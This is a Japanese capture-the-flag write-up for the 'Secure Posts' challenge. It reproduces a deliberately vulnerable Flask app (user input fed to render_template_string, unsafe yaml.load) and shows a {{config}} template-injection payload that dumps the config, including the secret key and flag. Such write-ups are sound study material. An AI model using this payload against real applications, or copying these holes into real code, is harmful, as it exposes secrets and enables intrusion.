Secure Posts

117 Teams solved.

Description

Here is a service that you can store any posts. Can you hack it?

http://52.69.126.212/

Hint

None

問題で提示されたURLにアクセスします。次のようなページが表示されます。

no title


ページ内にあるsource codeのリンクからPythonのソースコードを見ることができます。Flaskというフレームワークを使用したウェブアプリケーションです。
from flask import Flask
import config

# init app
app = Flask(__name__)
app.secret_key = config.flag1
accept_datatype = ['json', 'yaml']

from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string

# load utils
def load_eval(data):
    return eval(data)

def load_pickle(data):
    import pickle
    return pickle.loads(data)

def load_json(data):
    import json
    return json.loads(data)

def load_yaml(data):
    import yaml
    return yaml.load(data)

# dump utils
def dump_eval(data):
    return repr(data)

def dump_pickle(data):
    import pickle
    return pickle.dumps(data)

def dump_json(data):
    import json
    return json.dumps(data)

def dump_yaml(data):
    import yaml
    return yaml.dump(data)


def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename)) as f:
        template = f.read()
    name = session.get('name', 'anonymous')[:10]
    return render_template_string(template.format(name=name), **args)

def load_posts():
    handlers = {
        # disabled insecure data type
        #"eval": load_eval,
        #"pickle": load_pickle,

        "json": load_json,
        "yaml": load_yaml
    }

    datatype = session.get("post_type", config.default_datatype)
    data = session.get("post_data", config.default_data)

    if datatype not in handlers: abort(403)
    return handlers[datatype](data)

def store_posts(posts, datatype):
    handlers = {
        "eval": dump_eval,
        "pickle": dump_pickle,

        "json": dump_json,
        "yaml": dump_yaml
    }
    if datatype not in handlers: abort(403)
    data = handlers[datatype](posts)

    session["post_type"] = datatype
    session["post_data"] = data


@app.route('/')
def index():
    posts = load_posts()
    return render_template('index.html', posts = posts, accept_datatype = accept_datatype)

@app.route('/post', methods=['POST'])
def add_post():
    posts = load_posts()

    title = request.form.get('title', 'empty')
    content = request.form.get('content', 'empty')
    datatype = request.form.get('datatype', 'json')
    if datatype not in accept_datatype: abort(403)
    name = request.form.get('author', 'anonymous')[:10]

    from datetime import datetime
    posts.append({
        'title': title,
        'author': name,
        'content': content,
        'date': datetime.now().strftime("%B %d, %Y %X")
    })
    session["name"] = name
    store_posts(posts, datatype)
    return redirect(url_for('index'))

@app.route('/source')
def get_source():
    with open(__file__, "r") as f:
        resp = f.read()
    return Response(resp, mimetype="text/plain")
Authorに入力した内容がsession変数に格納され、render_template関数でrender_template_string関数にそのまま渡されています。Flask Jinja2 Template Injectionというものが使えそうです。
https://hackerone.com/reports/125980
Authorに以下の文字列を入力してsubmitします。
{{config}}
1

次のとおりconfigの内容が表示されました。

2
<Config {'USE_X_SENDFILE': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'SESSION_REFRESH_EACH_REQUEST': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': '__main__', 'PREFERRED_URL_SCHEME': 'http', 'PROPAGATE_EXCEPTIONS': None, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_SECURE': False, 'SERVER_NAME': None, 'SESSION_COOKIE_DOMAIN': None, 'TEMPLATES_AUTO_RELOAD': None, 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': True, 'DEBUG': False, 'SESSION_COOKIE_PATH': None, 'TESTING': False, 'MAX_CONTENT_LENGTH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_NAME': 'session', 'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}', 'TRAP_HTTP_EXCEPTIONS': False, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'JSONIFY_MIMETYPE': 'application/json', 'TRAP_BAD_REQUEST_ERRORS': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31)}>
フラグは、
hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?} 
です。